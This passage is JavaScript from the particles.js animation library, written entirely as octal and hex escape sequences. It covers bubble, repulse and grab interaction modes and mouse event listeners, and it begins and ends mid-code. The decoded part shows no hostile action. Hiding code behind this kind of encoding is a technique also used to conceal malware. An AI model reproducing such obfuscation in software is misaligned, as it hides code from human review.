157\144\x65\x73\56\142\x75\x62\x62\154\x65\56\163\151\172\x65\54\x20\160\x4a\x53\56\x70\x61\x72\164\x69\143\154\145\x73\56\x73\x69\x7a\x65\x2e\x76\141\x6c\x75\x65\54\40\160\56\162\141\x64\x69\x75\x73\x5f\x62\165\x62\x62\154\x65\54\40\160\x2e\x72\x61\144\151\165\x73\x2c\40\47\163\x69\x7a\145\47\x29\73\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\40\160\x72\157\x63\x65\x73\x73\50\x70\112\x53\x2e\x69\x6e\x74\145\x72\x61\143\164\151\166\151\x74\x79\x2e\x6d\x6f\144\x65\163\x2e\142\165\142\142\154\x65\56\157\160\x61\143\151\164\171\x2c\40\160\112\123\56\160\x61\162\x74\x69\x63\154\145\x73\x2e\x6f\160\141\143\151\x74\x79\56\x76\x61\154\x75\145\54\40\x70\56\x6f\160\x61\143\x69\x74\171\137\142\165\x62\142\x6c\145\x2c\x20\x70\56\x6f\x70\x61\x63\151\x74\x79\x2c\x20\x27\x6f\x70\141\143\x69\x74\171\x27\x29\12\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\x7d\12\40\x20\x20\x20\40\40\40\x20\x7d\12\x20\40\x20\40\x7d\x3b\12\40\40\40\40\x70\112\123\x2e\146\x6e\x2e\x6d\x6f\x64\x65\x73\56\x72\x65\x70\165\x6c\163\x65\x50\x61\162\164\151\x63\x6c\x65\x20\75\x20\x66\x75\156\143\164\x69\157\x6e\50\x70\51\x20\x7b\12\x20\x20\x20\x20\40\40\40\40\151\146\40\x28\x70\x4a\x53\56\x69\156\x74\x65\162\x61\143\164\x69\x76\x69\164\x79\56\x65\x76\x65\156\164\163\56\x6f\156\x68\x6f\166\x65\x72\56\145\x6e\141\x62\154\145\40\x26\46\40\151\x73\x49\156\101\162\162\141\x79\x28\x27\x72\145\x70\165\x6c\x73\145\47\x2c\40\160\x4a\x53\56\151\x6e\x74\x65\x72\x61\143\x74\x69\166\151\x74\x79\56\x65\166\x65\x6e\164\163\56\x6f\x6e\150\157\166\145\162\56\x6d\157\144\x65\x29\x20\46\46\40\160\112\123\56\x69\x6e\x74\x65\x72\x61\x63\x74\151\166\x69\164\171\56\x73\x74\141\164\165\x73\40\75\75\x20\x27\x6d\157\165\x73\145\x6d\x6f\166\x65\x27\x29\x20\173\12\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x76\x61\x72\40\x64\x78\x5f\155\157\165\x73\x65\x20\75\x20\160\x2e\x78\x20\55\x20\160\x4a\123\x2e\x69\156\164\x65\162\x61\143\164\x69\x76\x69\164\171\x2e\x6d\157\165\163\145\56\x70\x6f\163\137\x78\54\xa\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\144\x79\137\155\x6f\165\x73\x65\x20\x3d\x20\x70\x2e\x79\40\55\40\160\112\x53\56\151\156\164\145\162\x61\x63\164\151\166\151\164\x79\x2e\x6d\157\x75\163\145\x2e\x70\x6f\x73\137\171\54\12\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x64\x69\163\x74\x5f\155\x6f\165\163\x65\x20\75\x20\115\141\164\x68\56\163\x71\162\x74\50\144\170\x5f\155\157\x75\163\145\x20\52\40\144\x78\x5f\x6d\x6f\x75\x73\145\40\53\x20\x64\x79\137\155\157\165\x73\x65\40\52\40\x64\x79\137\x6d\x6f\165\x73\x65\51\73\xa\40\x20\40\40\x20\x20\40\x20\40\40\x20\40\166\x61\162\x20\156\157\x72\x6d\126\x65\143\x20\75\x20\173\xa\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\40\40\x20\170\72\40\x64\170\x5f\155\157\165\x73\x65\x20\57\40\x64\151\163\x74\x5f\x6d\157\165\x73\x65\x2c\12\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x79\72\40\x64\171\x5f\x6d\x6f\x75\163\x65\x20\57\x20\144\151\x73\x74\137\x6d\x6f\165\x73\145\xa\x20\x20\40\40\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\x7d\54\12\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\162\x65\x70\165\154\163\145\x52\x61\x64\x69\165\163\40\75\x20\160\112\123\x2e\x69\156\x74\145\162\x61\x63\164\151\x76\151\x74\x79\x2e\x6d\157\144\x65\163\56\x72\145\160\x75\x6c\163\x65\56\144\x69\163\164\141\x6e\x63\x65\54\xa\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\40\166\145\x6c\157\x63\x69\164\171\x20\x3d\x20\61\x30\x30\54\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\162\145\x70\165\154\x73\145\106\141\x63\164\157\162\x20\x3d\40\143\x6c\141\155\160\50\50\61\40\57\x20\162\145\160\x75\154\x73\x65\122\x61\144\151\165\163\x29\40\x2a\x20\x28\55\61\40\52\x20\x4d\141\x74\150\56\160\157\x77\x28\144\151\x73\x74\137\x6d\x6f\x75\163\x65\x20\x2f\40\162\145\160\x75\154\163\145\x52\x61\144\x69\165\163\x2c\x20\x32\51\x20\53\40\x31\x29\x20\x2a\x20\162\145\x70\x75\x6c\x73\x65\122\141\144\x69\x75\x73\x20\x2a\40\166\x65\x6c\157\143\151\164\x79\54\40\x30\54\40\65\60\x29\73\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\166\x61\162\x20\160\157\x73\40\x3d\40\x7b\xa\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\170\72\x20\x70\56\170\x20\x2b\x20\x6e\157\162\x6d\x56\145\x63\x2e\170\40\52\40\162\145\160\165\154\163\145\106\141\x63\x74\x6f\x72\54\12\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\40\x79\x3a\x20\160\56\171\x20\x2b\40\156\x6f\162\155\126\145\x63\x2e\x79\40\52\40\x72\x65\160\165\x6c\x73\x65\106\x61\143\164\157\x72\12\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\175\xa\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x69\x66\x20\x28\x70\112\123\56\x70\141\x72\x74\151\x63\154\145\x73\56\x6d\157\x76\145\x2e\x6f\165\x74\x5f\155\157\x64\x65\x20\75\75\40\x27\142\x6f\x75\x6e\143\x65\47\51\x20\173\xa\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\x69\146\40\x28\x70\x6f\163\56\x78\x20\55\x20\160\56\162\x61\x64\151\x75\x73\40\x3e\40\60\40\x26\x26\40\x70\157\x73\56\170\40\53\x20\x70\x2e\162\x61\x64\151\165\163\x20\74\40\x70\112\123\56\x63\x61\x6e\x76\141\x73\56\x77\51\x20\160\56\x78\x20\x3d\40\x70\x6f\163\x2e\x78\73\12\40\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\151\146\40\50\160\157\163\x2e\171\40\x2d\x20\160\56\x72\x61\x64\151\x75\x73\x20\x3e\40\x30\x20\46\46\40\x70\x6f\x73\56\171\x20\53\x20\160\56\x72\141\x64\151\x75\163\x20\74\40\x70\x4a\x53\x2e\143\141\156\166\141\x73\x2e\x68\x29\x20\x70\56\171\x20\x3d\x20\x70\x6f\163\x2e\x79\xa\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x7d\x20\x65\x6c\163\145\x20\173\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x70\56\170\x20\75\x20\160\157\x73\x2e\x78\x3b\xa\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x70\56\171\40\75\40\x70\x6f\163\x2e\x79\xa\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x7d\xa\x20\40\x20\40\40\40\x20\40\x7d\x20\145\154\163\x65\40\x69\146\x20\x28\x70\112\x53\56\x69\x6e\x74\145\x72\x61\143\x74\x69\x76\151\164\171\56\145\x76\145\156\x74\x73\x2e\157\156\143\x6c\151\x63\153\56\145\x6e\x61\142\154\145\x20\x26\46\x20\151\x73\x49\x6e\101\162\162\141\171\50\47\162\145\x70\165\x6c\163\x65\x27\x2c\40\x70\112\x53\56\x69\156\x74\x65\162\141\143\x74\x69\x76\151\164\x79\56\x65\x76\x65\156\x74\x73\x2e\x6f\156\143\x6c\x69\143\x6b\x2e\155\x6f\x64\145\51\x29\x20\x7b\xa\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x69\146\x20\50\41\160\x4a\x53\x2e\164\155\160\56\162\145\x70\165\154\163\x65\x5f\x66\x69\156\x69\163\150\51\x20\x7b\12\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\160\112\123\56\x74\155\160\x2e\x72\145\160\165\x6c\x73\145\137\x63\157\x75\x6e\x74\x2b\x2b\x3b\12\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\151\x66\40\x28\x70\x4a\123\x2e\x74\x6d\160\x2e\162\145\x70\x75\154\x73\x65\137\143\157\x75\x6e\164\40\x3d\75\40\x70\112\123\56\160\141\x72\x74\151\x63\154\x65\x73\56\141\x72\162\x61\171\56\154\145\156\x67\x74\150\51\40\x7b\xa\40\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\40\40\x20\40\x70\112\x53\x2e\x74\x6d\160\56\x72\145\x70\165\x6c\x73\145\137\146\151\156\x69\163\150\x20\x3d\40\41\x30\xa\40\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\175\xa\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\175\12\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\151\x66\x20\x28\x70\x4a\x53\56\x74\155\x70\x2e\162\145\x70\165\x6c\x73\145\137\x63\x6c\151\x63\153\151\x6e\147\51\x20\x7b\xa\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x76\x61\162\40\x72\x65\160\165\x6c\x73\145\122\x61\x64\151\x75\163\x20\x3d\x20\x4d\141\x74\x68\x2e\160\157\x77\50\160\x4a\x53\x2e\151\x6e\164\145\162\141\x63\164\151\x76\151\164\171\56\x6d\157\x64\145\163\x2e\162\145\160\x75\x6c\x73\x65\56\x64\x69\163\164\x61\x6e\143\x65\40\x2f\40\66\x2c\x20\63\x29\x3b\12\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\166\141\x72\40\x64\x78\40\75\40\160\x4a\x53\x2e\x69\156\164\145\162\141\x63\x74\x69\x76\151\164\171\56\155\157\165\x73\x65\56\x63\x6c\x69\143\x6b\137\x70\x6f\x73\x5f\x78\40\55\40\160\x2e\x78\54\12\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\144\x79\40\x3d\40\x70\x4a\x53\x2e\x69\156\x74\145\x72\141\x63\x74\x69\x76\151\x74\x79\56\x6d\x6f\165\163\145\x2e\x63\x6c\151\x63\x6b\137\x70\x6f\x73\x5f\171\40\x2d\40\160\x2e\171\54\12\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x64\40\x3d\x20\144\170\40\x2a\40\144\170\x20\53\40\x64\x79\40\x2a\40\144\171\x3b\12\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\x76\x61\162\40\146\157\162\x63\x65\40\75\40\x2d\x72\x65\160\x75\x6c\x73\145\122\x61\144\x69\x75\x73\40\57\x20\x64\40\x2a\x20\61\x3b\12\xa\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\146\x75\x6e\x63\164\151\x6f\x6e\40\x70\x72\x6f\x63\145\163\163\50\x29\40\x7b\12\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\166\141\x72\x20\146\40\x3d\x20\x4d\141\x74\x68\x2e\x61\x74\x61\x6e\x32\50\144\x79\x2c\40\144\170\51\x3b\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\160\56\x76\170\40\x3d\x20\146\x6f\162\143\x65\40\x2a\x20\115\x61\x74\150\56\x63\157\163\x28\146\x29\73\12\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\x20\160\56\166\171\x20\x3d\40\146\x6f\162\x63\145\40\x2a\x20\x4d\x61\164\x68\56\x73\151\156\x28\x66\x29\73\12\x20\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\40\151\x66\x20\50\x70\112\123\x2e\160\x61\162\x74\151\x63\154\145\163\56\x6d\x6f\166\145\56\x6f\x75\164\x5f\x6d\x6f\x64\x65\x20\75\75\x20\x27\142\x6f\x75\x6e\x63\x65\x27\51\40\x7b\xa\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\40\x76\141\162\40\160\157\163\40\75\x20\x7b\12\40\40\40\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\170\x3a\40\x70\x2e\x78\40\53\40\160\56\x76\170\x2c\xa\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\40\40\40\40\171\x3a\40\x70\x2e\x79\40\x2b\40\160\56\x76\x79\xa\40\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x7d\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x69\146\x20\50\160\x6f\x73\x2e\170\x20\53\x20\x70\56\162\141\x64\151\165\x73\40\x3e\40\x70\x4a\123\x2e\143\141\x6e\166\141\163\x2e\x77\x29\40\x70\x2e\x76\x78\40\75\x20\55\x70\56\166\x78\x3b\xa\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\145\154\x73\145\40\x69\x66\x20\x28\160\x6f\x73\x2e\170\40\x2d\40\160\x2e\x72\141\x64\x69\165\163\x20\74\x20\60\x29\x20\160\x2e\166\x78\40\x3d\40\55\x70\56\x76\x78\73\xa\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\x69\146\40\50\x70\x6f\x73\56\x79\x20\53\x20\160\x2e\162\x61\144\151\x75\163\40\x3e\x20\x70\112\123\56\143\141\156\166\x61\163\56\x68\51\x20\x70\56\x76\171\x20\x3d\x20\x2d\x70\56\166\x79\73\12\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x65\154\x73\145\x20\x69\x66\x20\x28\160\x6f\x73\x2e\x79\x20\x2d\x20\160\x2e\x72\x61\144\x69\x75\163\x20\74\x20\60\51\40\x70\x2e\166\x79\x20\75\x20\55\x70\56\x76\x79\12\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\175\12\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\x7d\xa\40\40\x20\40\40\x20\40\40\x20\40\40\x20\40\40\40\40\151\146\40\x28\144\x20\x3c\75\x20\x72\145\160\x75\x6c\x73\145\x52\x61\144\151\x75\x73\x29\x20\x7b\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\160\162\x6f\x63\145\163\163\x28\51\xa\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\175\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x7d\x20\145\x6c\163\145\40\173\xa\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x69\146\x20\50\160\x4a\x53\56\x74\x6d\160\56\x72\145\160\x75\x6c\x73\x65\137\143\x6c\x69\143\153\x69\156\x67\x20\75\75\x20\x21\x31\51\40\173\12\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\160\x2e\166\170\40\x3d\40\x70\56\166\170\x5f\x69\73\xa\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\160\56\x76\171\40\x3d\x20\x70\56\166\171\x5f\x69\12\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x7d\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x7d\xa\x20\x20\x20\40\x20\x20\x20\x20\175\xa\40\40\x20\x20\175\12\40\40\x20\40\x70\112\123\x2e\x66\x6e\x2e\x6d\157\144\145\x73\56\x67\162\x61\142\x50\x61\x72\x74\x69\x63\154\145\x20\75\40\x66\x75\x6e\143\164\151\157\x6e\50\x70\51\40\173\xa\40\x20\40\x20\x20\40\40\x20\x69\146\x20\x28\160\x4a\x53\x2e\151\x6e\164\145\x72\141\143\164\151\166\151\x74\171\x2e\145\166\x65\156\x74\x73\56\x6f\156\x68\157\166\145\x72\56\x65\156\x61\142\x6c\145\40\46\46\x20\x70\x4a\x53\x2e\x69\x6e\164\145\162\141\x63\x74\x69\166\151\164\x79\56\163\x74\x61\164\x75\x73\x20\75\75\x20\47\x6d\157\165\x73\145\x6d\x6f\x76\x65\47\x29\x20\173\xa\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x76\x61\x72\x20\144\x78\x5f\155\x6f\165\x73\x65\40\75\x20\160\x2e\170\40\x2d\x20\160\x4a\123\56\151\x6e\x74\145\x72\x61\x63\164\151\x76\x69\x74\x79\56\x6d\157\x75\163\x65\56\x70\157\163\137\170\54\12\40\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x64\171\x5f\155\157\x75\163\145\x20\75\40\x70\x2e\171\x20\x2d\40\x70\x4a\123\x2e\x69\156\x74\x65\x72\141\x63\164\x69\166\x69\164\171\x2e\x6d\157\x75\163\145\x2e\x70\x6f\163\x5f\x79\54\12\40\40\x20\40\40\40\40\40\40\40\40\40\40\x20\40\x20\144\151\x73\x74\137\x6d\x6f\165\x73\x65\40\x3d\x20\115\x61\164\150\x2e\163\161\162\164\50\144\170\137\155\x6f\165\x73\145\40\x2a\x20\144\x78\137\x6d\157\x75\x73\145\40\53\40\144\x79\x5f\x6d\157\165\x73\x65\x20\x2a\x20\144\x79\x5f\x6d\157\x75\163\145\51\x3b\xa\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\151\146\x20\50\144\151\163\164\137\155\157\x75\x73\x65\x20\x3c\75\x20\x70\x4a\x53\x2e\x69\156\164\x65\162\141\143\x74\151\166\x69\x74\x79\56\155\157\144\145\x73\56\x67\162\x61\142\56\x64\151\163\x74\x61\156\x63\x65\51\40\x7b\xa\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x76\141\162\40\x6f\x70\x61\x63\151\164\171\x5f\154\151\156\145\x20\75\40\x70\112\123\56\151\156\164\145\x72\x61\143\164\151\166\151\164\x79\56\x6d\x6f\x64\145\x73\56\x67\x72\141\x62\56\154\151\156\x65\137\154\x69\x6e\x6b\x65\144\x2e\157\160\x61\x63\x69\x74\x79\x20\x2d\x20\50\x64\x69\x73\x74\x5f\x6d\157\x75\x73\x65\x20\x2f\x20\x28\61\40\57\x20\160\112\123\x2e\151\x6e\164\145\162\141\143\x74\x69\x76\151\164\171\x2e\x6d\157\144\145\163\x2e\x67\162\x61\x62\x2e\154\151\x6e\x65\137\x6c\151\x6e\x6b\145\x64\56\157\x70\x61\143\151\164\171\x29\51\x20\x2f\40\160\x4a\123\x2e\151\156\x74\145\x72\141\x63\164\151\166\151\164\171\56\155\157\x64\x65\x73\x2e\147\162\141\142\56\144\151\163\x74\x61\156\x63\x65\73\12\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\151\146\x20\x28\x6f\160\x61\x63\x69\x74\171\137\154\151\156\145\x20\76\x20\60\x29\40\173\12\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x76\141\162\x20\143\157\154\157\x72\137\x6c\x69\x6e\145\40\75\x20\160\112\x53\x2e\x70\141\162\x74\x69\x63\x6c\x65\163\x2e\x6c\151\x6e\145\137\x6c\151\x6e\x6b\x65\x64\56\x63\x6f\x6c\157\162\x5f\x72\x67\142\x5f\x6c\151\156\x65\73\xa\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x70\112\x53\x2e\143\x61\x6e\x76\x61\x73\x2e\143\x74\170\56\163\x74\x72\x6f\153\145\x53\164\x79\154\145\x20\75\40\47\162\147\142\x61\50\x27\40\x2b\40\x63\x6f\154\157\x72\x5f\154\151\x6e\x65\x2e\162\x20\x2b\40\47\x2c\47\x20\53\40\143\x6f\x6c\x6f\x72\137\x6c\151\156\145\x2e\147\40\x2b\x20\x27\x2c\x27\40\x2b\40\x63\157\154\157\162\137\x6c\x69\x6e\145\x2e\142\40\53\x20\x27\x2c\47\x20\53\x20\x6f\x70\x61\x63\x69\164\x79\x5f\x6c\151\156\x65\40\53\x20\x27\x29\47\73\xa\x20\40\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\x70\x4a\123\x2e\x63\x61\156\166\141\163\x2e\143\164\170\x2e\x6c\151\156\145\127\x69\x64\164\x68\40\x3d\x20\x70\x4a\123\56\x70\141\x72\164\151\143\x6c\145\163\56\154\x69\156\145\x5f\x6c\151\x6e\153\x65\144\x2e\x77\x69\x64\164\150\73\12\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x70\x4a\123\x2e\x63\141\156\166\x61\163\56\x63\164\170\x2e\142\145\147\x69\x6e\120\x61\164\x68\x28\x29\x3b\xa\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x70\112\x53\x2e\x63\x61\x6e\x76\x61\x73\56\143\x74\x78\56\155\157\x76\145\x54\157\50\x70\x2e\170\x2c\x20\160\56\171\51\x3b\xa\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\160\112\123\56\143\141\x6e\x76\x61\163\x2e\x63\164\x78\56\x6c\151\156\145\124\157\x28\x70\112\x53\56\x69\156\x74\145\x72\141\143\164\151\166\151\x74\171\x2e\x6d\x6f\x75\163\145\56\160\157\x73\137\170\54\x20\x70\112\x53\56\x69\x6e\164\145\162\141\x63\164\151\x76\151\164\x79\x2e\155\x6f\165\x73\x65\56\x70\x6f\163\x5f\171\51\x3b\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x70\x4a\123\56\x63\x61\x6e\166\141\163\x2e\x63\x74\x78\56\163\164\162\x6f\153\145\x28\x29\73\12\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\160\x4a\123\56\x63\141\x6e\166\x61\x73\x2e\x63\164\170\56\143\x6c\x6f\163\x65\x50\141\x74\150\50\x29\xa\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\175\12\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\175\12\x20\x20\x20\x20\40\40\40\x20\175\12\x20\40\40\40\175\x3b\xa\40\40\x20\x20\160\112\x53\56\x66\156\x2e\166\x65\x6e\144\157\x72\163\56\x65\x76\x65\x6e\164\x73\114\x69\163\x74\145\x6e\x65\162\163\x20\x3d\x20\146\x75\156\143\x74\151\x6f\x6e\50\x29\x20\173\xa\x20\40\40\40\40\x20\40\x20\x69\x66\x20\50\160\112\123\56\151\156\x74\x65\162\141\143\164\x69\x76\x69\164\x79\56\144\x65\164\x65\x63\x74\x5f\157\x6e\40\75\x3d\x20\x27\x77\x69\156\144\x6f\x77\47\x29\40\173\xa\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\x70\x4a\x53\x2e\x69\x6e\x74\x65\x72\x61\x63\x74\x69\166\x69\x74\171\x2e\145\154\x20\x3d\40\x77\x69\156\144\157\167\12\x20\40\x20\x20\40\x20\x20\x20\175\40\145\x6c\x73\x65\40\173\12\40\40\x20\40\40\x20\x20\40\40\40\40\40\160\112\x53\56\151\156\164\x65\x72\141\x63\164\x69\166\151\164\x79\56\x65\154\x20\75\40\160\112\123\56\x63\141\x6e\166\141\x73\56\145\x6c\xa\x20\x20\x20\40\x20\x20\40\x20\x7d\12\40\40\x20\x20\40\40\40\x20\151\146\40\50\x70\112\123\x2e\x69\x6e\164\x65\x72\141\143\x74\151\x76\151\164\171\x2e\145\166\145\x6e\x74\163\x2e\x6f\x6e\150\157\x76\145\x72\56\145\x6e\x61\x62\154\x65\40\174\x7c\40\160\112\x53\56\x69\x6e\x74\x65\x72\141\143\164\x69\x76\151\x74\x79\56\x65\x76\x65\x6e\164\x73\56\x6f\156\x63\154\151\x63\x6b\56\145\156\x61\142\x6c\x65\51\40\x7b\12\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x70\x4a\x53\x2e\151\156\164\x65\x72\141\x63\164\x69\x76\x69\164\x79\56\x65\x6c\56\x61\x64\144\x45\166\x65\156\x74\x4c\151\x73\164\x65\x6e\145\x72\x28\47\x6d\157\x75\x73\x65\x6d\157\166\145\47\54\x20\x66\165\156\x63\164\x69\x6f\x6e\x28\145\x29\x20\x7b\xa\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\151\x66\40\x28\160\x4a\123\x2e\151\156\164\x65\162\x61\143\x74\151\x76\x69\x74\171\x2e\145\154\40\75\x3d\x20\167\x69\x6e\144\157\x77\x29\x20\x7b\12\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x20\40\40\166\141\162\x20\x70\x6f\163\x5f\x78\x20\75\40\145\x2e\143\x6c\151\x65\x6e\x74\130\54\12\x20\x20\x20\40\40\x20\40\40\40\40\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x70\157\x73\x5f\171\40\75\x20\145\56\143\x6c\151\145\x6e\164\131\xa\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\175\40\x65\154\x73\145\x20\x7b\12\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\166\x61\162\40\x70\x6f\163\x5f\170\x20\x3d\40\x65\x2e\x6f\146\146\163\x65\x74\x58\x20\x7c\x7c\x20\145\56\x63\154\151\145\156\164\130\x2c\12\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\160\157\x73\137\x79\40\75\40\145\x2e\157\x66\146\x73\x65\x74\131\x20\x7c\x7c\x20\x65\56\143\154\x69\145\x6e\x74\x59\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\175\12\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\160\112\123\56\x69\156\164\145\x72\141\143\164\x69\166\x69\164\x79\x2e\x6d\x6f\165\163\145\56\x70\157\x73\137\x78\x20\75\x20\160\157\x73\137\x78\73\xa\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x70\112\123\x2e\151\156\164\x65\x72\141\143\x74\x69\x76\x69\x74\x79\56\155\157\165\163\145\56\x70\157\x73\x5f\x79\40\75\40\x70\x6f\x73\137\171\x3b\12\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x69\x66\x20\50\160\x4a\x53\x2e\164\155\160\x2e\162\145\164\151\156\141\x29\x20\x7b\xa\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\160\112\x53\56\151\x6e\164\x65\162\x61\x63\164\x69\x76\x69\x74\171\x2e\x6d\157\165\163\145\56\x70\x6f\163\x5f\x78\40\52\x3d\x20\x70\x4a\x53\56\x63\141\156\166\141\163\56\x70\170\162\141\164\151\157\x3b\12\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x70\x4a\x53\x2e\x69\156\x74\x65\162\x61\143\x74\x69\166\x69\164\171\56\155\x6f\165\163\145\56\160\157\163\x5f\171\40\x2a\x3d\x20\x70\112\123\x2e\x63\141\x6e\166\141\x73\56\x70\170\x72\x61\164\151\x6f\xa\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\x7d\xa\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x70\112\123\x2e\151\156\x74\x65\x72\141\x63\x74\151\166\x69\164\171\x2e\163\x74\141\x74\x75\163\x20\75\x20\47\x6d\157\165\163\x65\x6d\x6f\x76\145\x27\12\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\175\x29\x3b\xa\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\160\x4a\123\x2e\151\x6e\x74\145\162\141\x63\164\151\166\151\164\171\x2e\x65\x6c\56\x61\x64\x64\105\166\x65\x6e\164\x4c\151\x73\164\x65\156\x65\162\x28\47\x6d\157\x75\163\x65\x6c\x65\x61\x76\x65\x27\x2c\40\x66\x75\x6e\x63\164\151\157\156\x28\x65\x29\40\173\xa\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\160\112\x53\56\x69\156\x74\145\x72\x61\x63\x74\x69\166\151\x74\171\x2e\x6d\x6f\x75\163\145\56\x